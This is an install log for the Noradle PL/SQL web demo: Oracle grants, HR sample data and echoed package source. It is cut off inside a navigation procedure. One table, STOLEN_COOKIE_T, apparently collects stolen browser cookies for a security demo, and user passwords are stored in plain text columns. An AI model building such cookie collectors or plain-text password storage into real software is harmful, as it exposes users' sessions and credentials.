install log will write to "install.log", please check it after the script run
press enter to continue
Are you sure that you are in the noradle-demo project's root directory,
if not, break(CTRL-C) and cd it and retry ...
Are you sure you have clean empty DEMO db user/schema already?
Noradle demo's units(tables,plsql,...) in oracle will be installed to the schema
You can try the sql scripts below to achieve the preparation required above.
drop user demo cascade;
create user demo identified by demo default tablespace sysaux temporary tablespace temp;
alter user demo quota unlimited on sysaux;
if not, create empty DEMO db users beforehand, and then press enter to continue
Enter the schema/User(must already exist) for noradle demo (demo) :
Installing Noracle(psp.web) demo app to schema "demo"
press enter to continue ...
old 1: alter session set current_schema = &demodbu
new 1: alter session set current_schema = demo
Session altered.
old 1: grant execute on SYS.DBMS_CRYPTO to &demodbu
new 1: grant execute on SYS.DBMS_CRYPTO to demo
Grant succeeded.
old 1: grant execute on SYS.DBMS_LOCK to &demodbu
new 1: grant execute on SYS.DBMS_LOCK to demo
Grant succeeded.
old 1: grant execute on SYS.DBMS_OBFUSCATION_TOOLKIT to &demodbu
new 1: grant execute on SYS.DBMS_OBFUSCATION_TOOLKIT to demo
Grant succeeded.
old 1: grant execute on SYS.DBMS_OBFUSCATION_TOOLKIT_FFI to &demodbu
new 1: grant execute on SYS.DBMS_OBFUSCATION_TOOLKIT_FFI to demo
Grant succeeded.
old 1: grant execute on SYS.DBMS_PIPE to &demodbu
new 1: grant execute on SYS.DBMS_PIPE to demo
Grant succeeded.
old 1: grant execute on SYS.DBMS_HPROF to &demodbu
new 1: grant execute on SYS.DBMS_HPROF to demo
Grant succeeded.
old 1: grant resource to &demodbu
new 1: grant resource to demo
Grant succeeded.
old 1: grant create view to &demodbu
new 1: grant create view to demo
Grant succeeded.
old 1: grant create session to &demodbu
new 1: grant create session to demo
Grant succeeded.
begin to install Noradle demo schema objects
Session altered.
Session altered.
****** Creating REGIONS table ....
Table created.
Index created.
Table altered.
****** Creating COUNTRIES table ....
Table created.
Table altered.
****** Creating LOCATIONS table ....
Table created.
Index created.
Table altered.
Sequence created.
****** Creating DEPARTMENTS table ....
Table created.
Index created.
Table altered.
Sequence created.
****** Creating JOBS table ....
Table created.
Index created.
Table altered.
****** Creating EMPLOYEES table ....
Table created.
Index created.
Table altered.
Table altered.
Sequence created.
****** Creating JOB_HISTORY table ....
Table created.
Index created.
Table altered.
****** Creating EMP_DETAILS_VIEW view ...
View created.
Commit complete.
Session altered.
****** Populating REGIONS table ....
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating COUNTIRES table ....
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating LOCATIONS table ....
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating DEPARTMENTS table ....
Table altered.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating JOBS table ....
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating EMPLOYEES table ....
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
****** Populating JOB_HISTORY table ....
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
Table altered.
Commit complete.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Index created.
Commit complete.
Procedure created.
Trigger created.
Trigger altered.
Procedure created.
Trigger created.
Commit complete.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Comment created.
Commit complete.
PL/SQL procedure successfully completed.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
1 row created.
SQL>
SQL> whenever sqlerror continue
SQL> prompt
SQL> prompt Creating table TERM_T
Creating table TERM_T
SQL> prompt =====================
=====================
SQL> prompt
SQL> @@term_t.tab
SQL> create table TERM_T
2 (
3 msid VARCHAR2(30) not null,
4 bgcolor VARCHAR2(30),
5 fgcolor VARCHAR2(30)
6 )
7 ;
Table created.
SQL> alter table TERM_T
2 add constraint PK_TERM primary key (MSID);
Table altered.
SQL>
SQL> prompt
SQL> prompt Creating table USER_T
Creating table USER_T
SQL> prompt =====================
=====================
SQL> prompt
SQL> @@user_t.tab
SQL> create table USER_T
2 (
3 name VARCHAR2(30) not null,
4 pass VARCHAR2(30) not null,
5 ctime DATE not null,
6 cache_id NUMBER
7 )
8 ;
Table created.
SQL> comment on table USER_T
2 is 'users who can login to';
Comment created.
SQL> alter table USER_T
2 add constraint PK_USER primary key (NAME);
Table altered.
SQL>
SQL> prompt
SQL> prompt Creating table PASSWD_HIS_T
Creating table PASSWD_HIS_T
SQL> prompt =====================
=====================
SQL> prompt
SQL> @@passwd_his_t.tab
SQL> create table PASSWD_HIS_T
2 (
3 name VARCHAR2(30),
4 passwd VARCHAR2(30),
5 chg_time DATE
6 )
7 ;
Table created.
SQL>
SQL> prompt
SQL> prompt Creating table EMP_T
Creating table EMP_T
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@emp_t.tab
SQL> create table EMP_T
2 (
3 pid NUMBER(4) not null,
4 name VARCHAR2(30),
5 ppid NUMBER(4)
6 )
7 ;
Table created.
SQL> alter table EMP_T
2 add constraint PK_EMP primary key (PID);
Table altered.
SQL> alter table EMP_T
2 add constraint FK_EMP_PPID foreign key (PPID)
3 references EMP_T (PID) on delete set null;
Table altered.
SQL>
SQL> prompt
SQL> prompt Creating table STOLEN_COOKIE_T
Creating table STOLEN_COOKIE_T
SQL> prompt ==============================
==============================
SQL> prompt
SQL> @@stolen_cookie_t.tab
SQL> create table STOLEN_COOKIE_T
2 (
3 logtime DATE not null,
4 referer VARCHAR2(1000),
5 cookies VARCHAR2(4000),
6 ua VARCHAR2(1000)
7 )
8 ;
Table created.
SQL>
SQL> @@../demo_data/human_resources/my_main.sql
SP2-0310: unable to open file "../demo_data/human_resources/my_main.sql"
SQL> whenever sqlerror exit
SQL>
SQL> @@pc.spc
SQL> create or replace package pc is
2
3 -- Author : ADMINISTRATOR
4 -- Created : 2015-1-8 16:00:32
5 -- Purpose : print common
6
7 procedure h
8 (
9 target varchar2 := null,
10 title varchar2 := null
11 );
12
13 end pc;
14 /
Package created.
SQL> @@pc.bdy
SQL> create or replace package body pc is
2
3 procedure h
4 (
5 target varchar2 := null,
6 title varchar2 := null
7 ) is
8 begin
9 if r.not_lack('inspect') then
10 return;
11 end if;
12 x.t('');
13 x.o('');
14 if target is not null or title is not null then
15 x.o('');
16 if target is not null then
17 x.s('', st(target));
18 end if;
19 if title is not null then
20 x.p('', title);
21 end if;
22 x.c('</head>');
23 end if;
24 x.o('<body>');
25 end;
26
27 end pc;
28 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package SRC_B
Creating package SRC_B
SQL> prompt ======================
======================
SQL> prompt
SQL> @@src_b.spc
SQL> create or replace package src_b is
2
3 procedure pack;
4
5 procedure proc;
6
7 procedure proc_list;
8
9 procedure link_pack(pack varchar2 := null);
10
11 procedure link_proc(proc varchar2 := null);
12
13 procedure header;
14
15 procedure footer;
16
17 end src_b;
18 /
Package created.
SQL> @@src_b.bdy
SQL> create or replace package body src_b is
2
3 -- print package source
4 procedure pack is
5 n varchar2(30) := upper(r.getc('p'));
6 begin
7 h.content_type('text/plain');
8 h.header('_convert', 'marked');
9 x.o('<head>');
10 x.l('<link>', '[highlight.css]');
11 x.c('</head>');
12 x.p('<h3>', 'PL/SQL UNIT: ' || n);
13 x.p('<h4>', x.a('<a>', 'show subprocedures', './src_b.proc_list?pack=' || n));
14 b.line('```plsql');
15 b.set_line_break('');
16 for i in (select a.text
17 from user_source a
18 where a.name = n
19 and a.type = 'PACKAGE BODY'
20 order by a.line) loop
21 b.line(replace(i.text, chr(9), ' '));
22 end loop;
23 b.line('```');
24 end;
25
26 -- print package.procedure source
27 procedure proc is
28 v_prog st;
29 v_pack varchar2(30);
30 v_proc varchar2(99);
31 v_sts boolean := false;
32 begin
33 t.split(v_prog, r.getc('p', 'src_b.proc'), '.');
34 v_pack := upper(v_prog(1));
35 -- v_proc := chr(9) || 'procedure ' || v_prog(2) || ' is' || chr(10);
36 v_proc := chr(9) || 'procedure ' || v_prog(2) || '%' || chr(10);
37 h.content_type('text/plain');
38 h.header('_convert', 'marked');
39 x.o('<head>');
40 x.l('<link>', '[highlight.css]');
41 x.c('</head>');
42 x.p('<p>', x.a('<a>', 'execute', r.prog));
43 b.line('```plsql');
44 b.set_line_break('');
45 for i in (select a.text
46 from user_source a
47 where a.name = v_pack
48 and a.type = 'PACKAGE BODY'
49 order by a.line) loop
50 if not v_sts then
51 if i.text like v_proc and regexp_like(i.text, '\s' || v_prog(2) || '(\s|\()') then
52 v_sts := true;
53 end if;
54 end if;
55 if v_sts then
56 b.line(substrb(replace(i.text, chr(9), ' '), 3));
57 if i.text = chr(9) || 'end;' || chr(10) then
58 exit;
59 end if;
60 end if;
61 end loop;
62 b.line('```');
63 end;
64
65 -- print links to all sub procedures
66 procedure proc_list is
67 v_pack varchar2(30) := r.getc('pack', r.pack);
68 begin
69 x.t('<!DOCTYPE html>');
70 x.o('<html>');
71 x.o('<head>');
72 x.l(' <link>', '[bootstrap.css]');
73 x.l(' <link>', '[animate.css]');
74 x.p(' <style>', 'body{padding-top:1em;}');
75 x.c('</head>');
76 x.o('<body>');
77 x.o('<div.container-fluid>');
78 x.o('<div.panel.panel-default.animated.bounceInDown>');
79 x.p(' <div.panel-heading>', v_pack);
80 --x.p(' <div.panel-body>', 'all sub procedure list');
81 x.o(' <ul.list-group>');
82 for i in (select *
83 from user_procedures a
84 where a.object_name like upper(v_pack)
85 and a.procedure_name is not null
86 order by a.subprogram_id asc) loop
87 x.p('<li.list-group-item>', x.a('<a>', i.procedure_name, lower(v_pack || '.' || i.procedure_name)));
88 end loop;
89 end;
90
91 -- print link to package source
92 procedure link_pack(pack varchar2 := null) is
93 begin
94 b.line(t.ps('<a href="src_b.pack?p=:1" target=":1">view pl/sql source pack ":1" in new window</a></br>',
95 st(nvl(pack, r.pack))));
96 end;
97
98 -- print link to package.procedure source
99 procedure link_proc(proc varchar2 := null) is
100 begin
101 b.line(t.ps('<a href="src_b.proc?p=:1" target=":1">view pl/sql source proc ":1" in new window</a><br/><br/>',
102 st(nvl(proc, r.prog))));
103 end;
104
105 -- give link to show source or show source in markdown(plain or converted)
106 procedure header is
107 v_pos pls_integer;
108 v_type varchar2(100) := h.mime_type;
109 begin
110 v_pos := instrb(v_type, '/');
111 v_type := substrb(v_type, v_pos + 1);
112 if r.pack = 'db_src_b' then
113 v_type := 'text'; -- text/resultsets
114 end if;
115 if r.is_lack('inspect') then
116 --link_proc;
117 if v_type != 'html' then
118 return;
119 end if;
120 b.l('<meta name="viewport" content="width=device-width, initial-scale=1"/>');
121 x.a('<a target=_blank>', 'inspect(plain) ' || r.prog, r.url || t.tf(r.qstr is null, '?', '&') || 'inspect');
122 x.t('<br/><br/>');
123 x.a('<a target=_blank>',
124 'inspect(highlight) ' || r.prog,
125 r.url || t.tf(r.qstr is null, '?', '&') || 'inspect&markdown');
126 x.t('<br/><br/>');
127 return;
128 end if;
129 h.content_type('text/plain');
130 if r.not_lack('markdown') then
131 h.header('_convert', 'marked');
132 x.o('<head>');
133 x.l('<link>', '[highlight.css]');
134 x.c('</head>');
135 x.p('<p>', x.a('<a>', 'execute', r.prog));
136 end if;
137
138 r.setc('p', r.getc('x$prog'));
139 b.line('```plsql');
140 src_b.proc;
141 b.line('```');
142
143 b.set_line_break(chr(10));
144 b.line;
145 b.line;
146 b.line('produce');
147 b.line;
148 b.line('```' || v_type);
149 end;
150
151 procedure footer is
152 begin
153 if not r.is_lack('inspect') then
154 b.line('```');
155 h.content_type('text/plain');
156 end if;
157 end;
158
159 end src_b;
160 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package INDEX_B
Creating package INDEX_B
SQL> prompt ========================
========================
SQL> prompt
SQL> @@index_b.spc
SQL> create or replace package index_b is
2
3 procedure frame;
4
5 procedure dir;
6
7 procedure page;
8
9 end index_b;
10 /
Package created.
SQL> @@index_b.bdy
SQL> create or replace package body index_b is
2
3 procedure frame is
4 begin
5 b.l('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">');
6 o.t('<html>');
7 o.t('<head>');
8 o.t(' <title>', 'PSP.WEB test/demo suite');
9 o.t('</head>');
10 o.t('<frameset cols=280,* frameborder=yes>');
11 o.p(1, 'border-right:1px solid gray;overflow-y:scroll;');
12 o.u(' <frame name=dir scrolling=true style=?>', '@b.dir');
13 o.u(' <frame name=page>', '@b.page');
14 o.t('</frameset>');
15 o.t('</html>');
16 end;
17
18 procedure dir is
19 hd1 varchar2(100) := '<span class="handle glyphicon glyphicon-triangle-right"></span>';
20 hd2 varchar2(100) := '<span class="handle glyphicon glyphicon-unchecked"></span>';
21 begin
22 pc.h(target => 'page');
23 x.t('<style>html{background:url(:1)}</style>', st(l('^img/subtle_freckles.png')));
24 x.l('<link>', '[bootstrap.css]');
25 x.j('<script>', '[jquery.js]');
26 x.j('<script>', '[bootstrap.js]');
27 x.l('<link>', '@b/tree.css');
28 x.j('<script>', '@b/tree.js');
29 x.o('<div.root.container-fluid>');
30
31 x.p('<div.node>', hd1 || x.p('<b>', 'ora_good_b'));
32 x.o('<div.branch.collapse>');
33 x.p(' <div.node>', hd2 || x.a('<a>', 'introduce', 'ora_good_b.entry'));
34 x.c('</div>');
35
36 x.p('<div.node>', hd1 || x.p('<b>', 'basic input output'));
37 x.o('<div.branch.collapse>');
38 x.p(' <div.node>', hd2 || x.a('<a>', 'req_info', 'basic_io_b.req_info'));
39 x.p(' <div.node>', hd2 || x.a('<a>', 'output', 'basic_io_b.output'));
40 x.p(' <div.node>', hd2 || x.a('<a>', 'parameters', 'basic_io_b.parameters'));
41 x.p(' <div.node>', hd2 || x.a('<a>', 'keep_urlencoded', 'basic_io_b.keep_urlencoded'));
42 x.p(' <div.node>', hd2 || x.a('<a>', 'steps', 'basic_io_b.steps'));
43 x.p(' <div.node>', hd2 || x.a('<a>', 'if appended', 'basic_io_b.appended'));
44 x.c('</div>');
45
46 x.p('<div.node>', hd1 || x.p('<b>', 'output orgnization'));
47 x.o('<div.branch.collapse>');
48 x.p(' <div.node>', hd2 || x.a('<a>', 'bind data in html', 'html_b.bind_data'));
49 x.p(' <div.node>', hd2 || x.a('<a>', 'regen_page', 'html_b.regen_page'));
50 x.p(' <div.node>', hd2 || x.a('<a>', 'component', 'html_b.component'));
51 x.p(' <div.node>', hd2 || x.a('<a>', 'complex', 'html_b.complex'));
52 x.c('</div>');
53
54 x.p('<div.node>', hd1 || x.p('<b>', 'post/upload file'));
55 x.o('<div.branch.collapse>');
56 x.p(' <div.node>', hd2 || x.a('<a>', 'upload_form', 'post_file_b.upload_form'));
57 x.p(' <div.node>', hd2 || x.a('<a>', 'ajax_post', 'post_file_b.ajax_post'));
58 x.p(' <div.node>', hd2 || x.a('<a>', 'post json', 'post_file_b.ajax_post_json'));
59 x.p(' <div.node>', hd2 || x.a('<a>', 'media capture', 'media_b.file_image'));
60 x.c('</div>');
61
62 x.p('<div.node>', hd1 || x.p('<b>', 'control by http response headers'));
63 begin
64 x.o('<div.branch.collapse>');
65 x.p(' <div.node>', hd2 || x.a('<a>', 'gzip', 'http_b.gzip'));
66 x.p(' <div.node>', hd2 || x.a('<a>', 'chunked_transfer', 'http_b.chunked_transfer'));
67 x.p(' <div.node>', hd2 || x.a('<a>', 'long_job', 'http_b.long_job'));
68 x.p(' <div.node>', hd2 || x.a('<a>', 'content_type', 'http_b.content_type'));
69 x.p(' <div.node>', hd2 || x.a('<a>', 'refresh to self', 'http_b.refresh'));
70 x.p(' <div.node>', hd2 || x.a('<a>', 'refresh to other', 'http_b.refresh?to=index_b.page'));
71 x.p(' <div.node>', hd2 || x.a('<a>', 'content_md5', 'http_b.content_md5'));
72 x.p(' <div.node>', hd1 || x.p('<b>', 'mimic file download'));
73 x.o(' <div.branch.collapse>');
74 x.p(' <div.node>', hd2 || x.a('<a>', 'd', 'file_dl_b.d'));
75 x.p(' <div.node>', hd2 || x.a('<a>', 'text', 'file_dl_b.text'));
76 x.p(' <div.node>', hd2 || x.a('<a>', 'excel', 'file_dl_b.excel'));
77 x.p(' <div.node>', hd2 || x.a('<a>', 'word', 'file_dl_b.excel'));
78 x.c(' </div>');
79 x.p(' <div.node>', hd1 || x.p('<b>', 'about cookie'));
80 x.o(' <div.branch.collapse>');
81 x.p(' <div.node>', hd2 || x.a('<a>', 'set/view cookie', 'cookie_h.form_view'));
82 x.c(' </div>');
83 x.p(' <div.node>', hd2 || x.a('<a>', 'charset', 'charset_b.form'));
84 x.c('</div>');
85 end;
86
87 x.p('<div.node>', hd1 || x.p('<b>', 'data service: resultsets print'));
88 begin
89 x.o('<div.branch.collapse>');
90 x.p(' <div.node>', hd2 || x.a('<a>', 'resultset demo list', 'src_b.proc_list?pack=db_src_b'));
91 x.p(' <div.node>', hd2 || x.a('<a>', 'example', 'db_src_b.basic?inspect&markdown'));
92 x.p(' <div.node>', hd2 || x.a('<a>', 'example(jade)', 'db_src_b.basic?template=test.jade'));
93 x.p(' <div.node>', hd2 || x.a('<a>', 'example(mustache)', 'db_src_b.basic?template=test.mst'));
94 x.p(' <div.node>', hd2 || x.a('<a>', 'example(handlebars)', 'db_src_b.basic?template=test.hbs'));
95 x.p(' <div.node>', hd2 || x.a('<a>', 'example(swig)', 'db_src_b.basic?template=test.swig'));
96 x.p(' <div.node>', hd2 || x.a('<a>', 'example(ejs)', 'db_src_b.basic?template=test.ejs'));
97 x.p(' <div.node>', hd2 || x.a('<a>', 'scalar data types(SQL)', 'db_src_b.scalars_sql?inspect&markdown'));
98 x.p(' <div.node>', hd2 || x.a('<a>', 'scalar data types(API)', 'db_src_b.scalars_direct?inspect&markdown'));
99 x.p(' <div.node>', hd2 || x.a('<a>', 'scalar array', 'db_src_b.scalar_array?inspect&markdown'));
100 x.p(' <div.node>', hd2 || x.a('<a>', 'parent-children data', 'db_src_b.pack_proc?inspect&markdown'));
101 x.p(' <div.node>', hd2 || x.a('<a>', 'key-value', 'db_src_b.pack_kv?inspect&markdown'));
102 x.p(' <div.node>', hd2 || x.a('<a>', 'key-value(child)', 'db_src_b.pack_kv_child?inspect&markdown'));
103 x.p(' <div.node>', hd2 || x.a('<a>', 'direct_json', 'db_src_b.direct_json?inspect&markdown'));
104 x.p(' <div.node>', hd2 || x.a('<a>', 'set_mime_no_convert', 'db_src_b.set_mime_no_convert?inspect&markdown'));
105 x.c('</div>');
106 end;
107
108 x.p('<div.node>', hd1 || x.p('<b>', 'page service: html/xml print'));
109 begin
110 x.o('<div.branch.collapse>');
111 x.p('<div.node>', hd1 || x.p('<b>', 'x(tag) print'));
112 x.o('<div.branch.collapse>');
113 x.p(' <div.node>', hd2 || x.a('<a>', 'tags', 'x_tag_b.tags'));
114 x.p(' <div.node>', hd2 || x.a('<a>', 'tag_attr', 'x_tag_b.tag_attr'));
115 x.p(' <div.node>', hd2 || x.a('<a>', 'url_link', 'x_tag_b.url_link'));
116 x.p(' <div.node>', hd2 || x.a('<a>', 'form_item_value', 'x_tag_b.form_item_value'));
117 x.p(' <div.node>', hd2 || x.a('<a>', 'text', 'x_tag_b.text'));
118 x.p(' <div.node>', hd2 || x.a('<a>', 'bool_attr', 'x_tag_b.bool_attr'));
119 x.c('</div>');
120
121 x.p('<div.node>', hd1 || x.p('<b>', 'm(multi) print'));
122 x.o('<div.branch.collapse>');
123 x.p(' <div.node>', hd2 || x.a('<a>', 'wrap_each_array_value', 'm_multi_b.wrap_each_array_value'));
124 x.p(' <div.node>', hd2 || x.a('<a>', 'wrap_array_in_loop', 'm_multi_b.wrap_array_in_loop'));
125 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_render_st', 'm_multi_b.parse_render_st'));
126 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_render_st_boolean', 'm_multi_b.parse_render_st_boolean'));
127 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_render_cursor', 'm_multi_b.parse_render_cursor'));
128 x.p(' <div.node>', hd2 || x.a('<a>', 'nv_form_select_options', 'm_multi_b.nv_form_select_options'));
129 x.p(' <div.node>', hd2 || x.a('<a>', 'nv_form_radios', 'm_multi_b.nv_form_radios'));
130 x.p(' <div.node>', hd2 || x.a('<a>', 'nv_form_checkboxes', 'm_multi_b.nv_form_checkboxes'));
131 x.c('</div>');
132
133 x.p('<div.node>', hd1 || x.p('<b>', 'tr(tree) printing'));
134 x.o('<div.branch.collapse>');
135 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_render_in_loop', 'tree_b.parse_render_in_loop'));
136 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_open_render_cur_close', 'tree_b.parse_open_render_cur_close'));
137 x.p(' <div.node>', hd2 || x.a('<a>', 'parse_render_cur_united', 'tree_b.parse_render_cur_united'));
138 x.p(' <div.node>', hd2 || x.a('<a>', 'hier_node_level_in_loop', 'tree_b.hier_node_level_in_loop'));
139 x.p(' <div.node>', hd2 || x.a('<a>', 'hier_node_all_types', 'tree_b.hier_node_all_types'));
140 x.c('</div>');
141
142 x.p('<div.node>', hd1 || x.p('<b>', 'tb(table) formating/printing'));
143 x.o('<div.branch.collapse>');
144 x.p(' <div.node>', hd2 || x.a('<a>', 'for loop print', 'list_b.user_objects'));
145 x.p(' <div.node>', hd2 || x.a('<a>', 'multi.c print', 'list_b.user_objects_cur'));
146 x.p(' <div.node>', hd2 || x.a('<a>', 'sys_refcursor print', 'list_b.user_procedures'));
147 x.c('</div>');
148
149 x.p('<div.node>', hd1 || x.p('<b>', 'l(link) to url'));
150 x.o('<div.branch.collapse>');
151 x.p(' <div.node>', hd2 || x.a('<a>', 'link demo list', 'src_b.proc_list?pack=easy_url_b'));
152 x.p(' <div.node>', hd2 || x.a('<a>', 'link_transparent', 'easy_url_b.link_transparent'));
153 x.p(' <div.node>', hd2 || x.a('<a>', 'link_equal_to', 'easy_url_b.link_equal_to'));
154 x.p(' <div.node>', hd2 || x.a('<a>', 'link_proc_in_same_pack', 'easy_url_b.link_proc_in_same_pack'));
155 x.p(' <div.node>', hd2 || x.a('<a>', 'link_proc_in_any_pack', 'easy_url_b.link_proc_in_any_pack'));
156 x.p(' <div.node>', hd2 || x.a('<a>', 'link_standalone_proc', 'easy_url_b.link_standalone_proc'));
157 x.p(' <div.node>', hd2 || x.a('<a>', 'link_static_for_site', 'easy_url_b.link_static_for_site'));
158 x.p(' <div.node>', hd2 || x.a('<a>', 'link_static_for_pack', 'easy_url_b.link_static_for_pack'));
159 x.p(' <div.node>', hd2 || x.a('<a>', 'link_static_for_me', 'easy_url_b.link_static_for_me'));
160 x.p(' <div.node>',
161 hd2 || x.a('<a>', 'link_other_parallel_app_static', 'easy_url_b.link_other_parallel_app_static'));
162 x.p(' <div.node>', hd2 || x.a('<a>', 'link_configured_url', 'easy_url_b.link_configured_url'));
163 x.p(' <div.node>', hd2 || x.a('<a>', 'use_base_url_for_static', 'easy_url_b.use_base_url_for_static'));
164 x.p(' <div.node>', hd2 || x.a('<a>', 'all patterns', 'easy_url_b.d'));
165 x.p(' <div.node>', hd2 || x.a('<a>', 'links in standalone procedure', './url_test1_b'));
166 x.p(' <div.node>', hd2 || x.a('<a>', 'param use t.ps and tmp.stv', 'easy_url_b.param_use_stv'));
167 x.p(' <div.node>', hd2 || x.a('<a>', 'param interpolate', 'easy_url_b.param_interpolate'));
168 x.p(' <div.node>', hd2 || x.a('<a>', 'param use vqstr', 'easy_url_b.param_use_vqstr'));
169 x.p(' <div.node>', hd2 || x.a('<a>', 'param tail', 'easy_url_b.param_tail'));
170 x.p(' <div.node>', hd2 || x.a('<a>', 'param interpolate&tail', 'easy_url_b.param_interpolate_tail'));
171 x.p(' <div.node>', hd2 || x.a('<a>', 'url relay', 'easy_url_b.url_relay'));
172 x.c('</div>');
173
174 x.p('<div.node>', hd1 || x.p('<b>', 'css related'));
175 x.o('<div.branch.collapse>');
176 x.p(' <div.node>', hd2 || x.a('<a>', 'component_css?link=Y', 'html_b.component_css?link=Y'));
177 x.p(' <div.node>', hd2 || x.a('<a>', 'component_css?link=N', 'html_b.component_css?link=N'));
178 x.p(' <div.node>', hd2 || x.a('<a>', 'css in HTML API(embeded or linked)', 'style_b.d'));
179 x.p(' <div.node>', hd2 || x.a('<a>', 'include component with local none-repeated css rule', 'local_css_b.d'));
180 x.c('</div>');
181
182 x.p('<div.node>', hd1 || x.p('<b>', 'HTML page layout/reorder'));
183 x.o('<div.branch.collapse>');
184 x.p(' <div.node>', hd2 || x.a('<a>', 'form V/H layouts', 'layout_b.form'));
185 x.p(' <div.node>', hd2 || x.a('<a>', 'reorder page components', 'layout_b.reorder'));
186 x.p(' <div.node>', hd2 || x.a('<a>', 'reorder style content to header', 'local_css_b.d?reorder=Y'));
187 x.p(' <div.node>', hd2 || x.a('<a>', 'use layout template', 'layout_b.use_layout'));
188 x.c('</div>');
189
190 x.c('</div>');
191 end;
192
193 -- advanced part
194 x.p('<div.node>', hd1 || x.p('<b>', 'servlet execution flow control'));
195 begin
196 x.o('<div.branch.collapse>');
197
198 x.p('<div.node>', hd1 || x.p('<b>', 'virtual host'));
199
200 x.p('<div.node>', hd1 || x.p('<b>', 'content negotiation'));
201 x.o('<div.branch.collapse>');
202 x.p(' <div.node>', hd2 || x.a('<a>', 'lang_versions', 'negotiation_b.languages_by_browser'));
203 x.p(' <div.node>', hd2 || x.a('<a>', 'accepts_best_match', 'negotiation_b.accepts_best_match'));
204 x.c('</div>');
205
206 x.p('<div.node>', hd1 || x.p('<b>', 'form post / feedback'));
207 x.o('<div.branch.collapse>');
208 x.p(' <div.node>', hd2 || x.a('<a>', 'user (un)register', 'user_b.register'));
209 x.c('</div>');
210
211 x.p('<div.node>', hd1 || x.p('<b>', 'error raise/catch/process'));
212 x.o('<div.branch.collapse>');
213 x.p(' <div.node>', hd2 || x.a('<a>', 'execute_with_error', 'error_b.execute_with_error'));
214 x.p(' <div.node>', hd2 || x.a('<a>', 'check_right', 'error_b.check_right'));
215 x.p(' <div.node>', hd2 || x.a('<a>', 'maybe_no_data', 'error_b.maybe_no_data'));
216 x.p(' <div.node>', hd2 || x.a('<a>', 'on_developing', 'error_b.on_developing'));
217 x.p(' <div.node>', hd2 || x.a('<a>', 'call_external', 'error_b.call_external'));
218 x.c('</div>');
219
220 x.p('<div.node>', hd1 || x.p('<b>', 'before/after filter'));
221 x.o('<div.branch.collapse>');
222 x.p(' <div.node>', hd2 || x.a('<a>', 'filter source', '=src_b.pack?p=k_filter'));
223 x.p(' <div.node>', hd2 || x.a('<a>', 'see_filter', 'filter_b.see_filter'));
224 x.c('</div>');
225
226 x.c('</div>');
227 end;
228
229 x.p('<div.node>', hd1 || x.p('<b>', 'session / authentication'));
230 begin
231 x.o('<div.branch.collapse>');
232
233 x.p('<div.node>', hd1 || x.p('<b>', 'session_b'));
234 x.o('<div.branch.collapse>');
